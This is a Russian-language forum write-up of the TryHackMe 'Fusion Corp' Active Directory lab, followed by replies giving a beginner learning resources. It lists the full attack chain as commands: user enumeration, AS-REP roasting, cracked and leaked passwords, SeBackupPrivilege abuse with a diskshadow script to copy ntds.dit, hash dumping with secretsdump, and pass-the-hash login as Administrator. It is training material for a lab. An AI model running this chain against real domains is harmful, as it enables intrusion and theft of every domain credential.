CTF Fusion Corp или очередной Active Directory! TryHackMe Windows | Writeup

logo.jpeg

Привет форум!

Предисловие

Давно мы с вами не виделись! На этот раз попробуем другую площадку, известную для всех новичков - TryHackMe!
В этой лаборатории мы разберём Hard машину под названием - Fusion Corp, найдем способ получить пользовательские хэши и неменее интересный способ повышения привилегий до Администратора через групповые привилегии!
Приступим!;)

Данные

Задача: Скомпрометировать машину на Windows (Active Directory) и забрать два флага user.txt и root.txt.
Основная рабочая машина: Kali Linux 2022.1
IP адрес удаленной машины - 10.10.218.247
IP адрес основной машины - 10.8.57.55

Начальная разведка и сканирование портов

Запустим Nmap с параметрами -sC и -sV для сканирования нашего хоста:

nmap -sC -sV 10.10.125.118

1650659478931.png


Видим доменное имя - fusion.corp, добавим его в /etc/hosts.
Из интересных портов и служб на них можем приметить сразу несколько:

  • 80/tcp - HTTP - (Microsoft IIS httpd 10.0)
  • 88/tcp - Kerberos (Можно попробовать метод kerberoasting для найденных пользователей)
  • 445/tcp - Samba - (Enum4linux в помощь и перебор сетевых шар)
  • 3268/tcp - LDAP - (Есть вариант провести его разведку)
  • 3389/tcp - RDP - (Вход на удаленный рабочий стол)


Пойдем более лёгким путем, для начала попробуем собрать пользователей и попробуем реализовать атаку на AS_REP кербероса.
Попробуем использовать уже известную нам утилиту - Enum4linux для сбора информации о машине.

enum4linux -a 10.10.125.118

1650666401597.png


Но к сожалению, наш инструмент не смог справиться из-за недостатка привилегий на сервере.
Тогда как мы знаем что у нас открыт 80 порт - HTTP, зайдем на веб-сервер и посмотрим интересную информацию уже там!

1650666429544.png


Нас встречает довольно красивый по дизайну сайт, спустимся ниже...
И здесь мы найдем сотрудников этой корпорации.

1650666446722.png


Конечно мы можем записать их в файл, а потом сгенерировать из них словарь для брута, но поищем что-нибудь поинтереснее, допустим - директории и файлы на сервере)
Запустим наш - Dirsearch и посмотрим его вывод.

dirsearch -e php,log,sql,txt,bak,tar,tar.gz,zip,rar,swp,gz,asp,aspx -t 50 -u http://10.10.125.118/

1650659412268.png


И сразу же видим директорию - /backup/
Давайте перейдем туда и посмотрим какие файлы содержит эта папка...

1650659607507.png


Здесь лежит файл, а скорее таблица с пользователями (сотрудниками) этой компании, давайте скачаем его и посмотрим его содержимое.

1650660014175.png


Здесь мы видим список пользователей и их никнеймы, теперь давайте скопируем их ники в файл и проверим их валидность в kerbrute.

./kerbrute userenum -d fusion.corp --dc fusion.corp users.txt

1650660164872.png


Здесь мы видим только одного пользователя - Larry Parker (lparker)

Получение доступа к пользователям

Теперь нам стоит проверить его на уязвимость, подставим файл с пользователями в модуль impacket'а - GetNPUsers:

impacket-GetNPUsers fusion.corp/ -dc-ip 10.10.125.118 -usersfile users.txt

1650660385616.png


Есть! Мы получили хэш-пароль пользователя - lparker.
Сохраняем его в файл и брутим с помощью - JohnTheRipper.

1650660559253.png


Спустя считанные секунды мы получили его креды - lparker:!!abbylvzsvs2k6!
Попробуем зайти через Evil-WinRM на машину нашего пользователя...

evil-winrm -i 10.10.125.118 -u lparker -p '!!abbylvzsvs2k6!'

1650660892979.png


Есть! Мы в системе!

Получение Администратора

Далее наши шаги могли бы начинаться с чего-то более простого, например загрузки сюда WinPeas или открытие Meterpreter сессии для последующей подгрузки модулей...
Но для начала проверим более простые способы, может пароль скрывается в информации net user или наш пользователь добавлен в интересные для наших целей группы.
Давайте-же проверим:D

net users

1650661159275.png


net user Administrator

1650661195535.png


И только как я "напал" net user'ом на пользователя - jmurphy, я получил его пароль в комментарии к его аккаунту.

net user jmurphy

1650661507818.png


Итак, мы нашли ещё одни креды - jmurphy:u8WC3!kLsgw=#bRY.
Теперь зайдем уже на него с Evil-WinRM.

evil-winrm -i 10.10.125.118 -u jmurphy -p 'u8WC3!kLsgw=#bRY'

1650661751644.png


Получилось! Мы jmurphy! Заберем наш флаг в C:\Users\jmurphy\Desktop\flag.txt

1650662467765.png


Далее стоит проверить наши права и локальные группы в которых мы состоим, в этом нам поможет команда whoami, а именно её аргумент /all.

1650662043731.png


Среди этого большого куска информации, мы можем обнаружить привилегию на создание системных бэкапов - SeBackupPrivilege.
Немного погуглив я наткнулся на статью - в которой говорится про повышение прав из-за этой привилегии.
Давайте попробуем реализовать это на нашей машине:cool:
Я буду использовать - Метод №1 - Disk Shadow + Robocopy.
Вкратце про него можно сказать так, Disk Shadow создает бэкап на отдельный диск и скачивает туда базу - ntds.dit.
Далее Robocopy копирует её, а после можно скачать себе на локальную машину. Приступим!


Первое что нужно сделать, это создать скрипт на своей машине, чтобы Disk Shadow выполнил его, содержимое скрипта - back_script.txt:

Код:
set verbose onX
set metadata C:\Windows\Temp\meta.cabX
set context clientaccessibleX
set context persistentX
begin backupX
add volume C: alias cdriveX
createX
expose %cdrive% E:X
end backupX

Далее скачиваем его на нашу уязвимую машину, с помощью встроенной функции Evil-WinRM'а - upload

upload back_script.txt

1650663899043.png


Далее запускаем скрипт:

diskshadow /s back_script.txt

1650664010173.png


Бэкап был успешно создан и перемещен на диск E:\
Теперь с папки C:\Windows\Temp скопируем базу ntds.dit.

robocopy /b E:\Windows\ntds . ntds.dit

1650664484287.png


Далее сохраняем его в реестре:

reg save hklm\system C:\Windows\temp\system

1650664566712.png


Теперь смотрим файлы и видим два заветных файла:

1650664640293.png


Скачиваем их через фичу от Evil-WinRM под названием - download

1650664844737.png


Далее после скачивания, мы можем достать хэши паролей пользователей с помощью impacket-secretsdump:

impacket-secretsdump -ntds ntds.dit -system system LOCAL

1650665699642.png


Ура! Мы смогли достать хэш-пароль Администратора, теперь нам осталось подставить его в аргумент -H у Evil-WinRM и зайти в админа:

evil-winrm -i 10.10.218.247 -u Administrator -H '9653b02d945329c7270525c4c2a69c67'

1650666027761.png


Огромнейшее спасибо, дорогой читатель что смог досмотреть эту статью до конца, надеюсь что вам понравилось. Скоро буду ;)
 
Последнее редактирование:

ALEXANDROV

Member
25.04.2022
5
0
hello, I have registered for the first time, please tell me the initial stages, some book maybe or sites, I want to go to study as a programmer, I was advised by your website that it is filled with good content.
 

QuietMoth1

Red Team
18.10.2020
42
132
hello, I have registered for the first time, please tell me the initial stages, some book maybe or sites, I want to go to study as a programmer, I was advised by your website that it is filled with good content.
Hello, I can advise TryHackMe to start with, namely its modules, they give a basic understanding of vulnerabilities and systems, start learning Linux slowly, you won’t go far on one python) Then read about the most popular types of vulnerabilities and their exploitation, you can use BurpSuite, on off. You can find a free course on it on Portswigger.net, and then you can try HackTheBox.
 

ALEXANDROV

Member
25.04.2022
5
0
Hello, I can advise TryHackMe to start with, namely its modules, they give a basic understanding of vulnerabilities and systems, start learning Linux slowly, you won’t go far on one python) Then read about the most popular types of vulnerabilities and their exploitation, you can use BurpSuite, on off. You can find a free course on it on Portswigger.net, and then you can try HackTheBox.
Thank you, please give me links to all the material
 
Мы в соцсетях: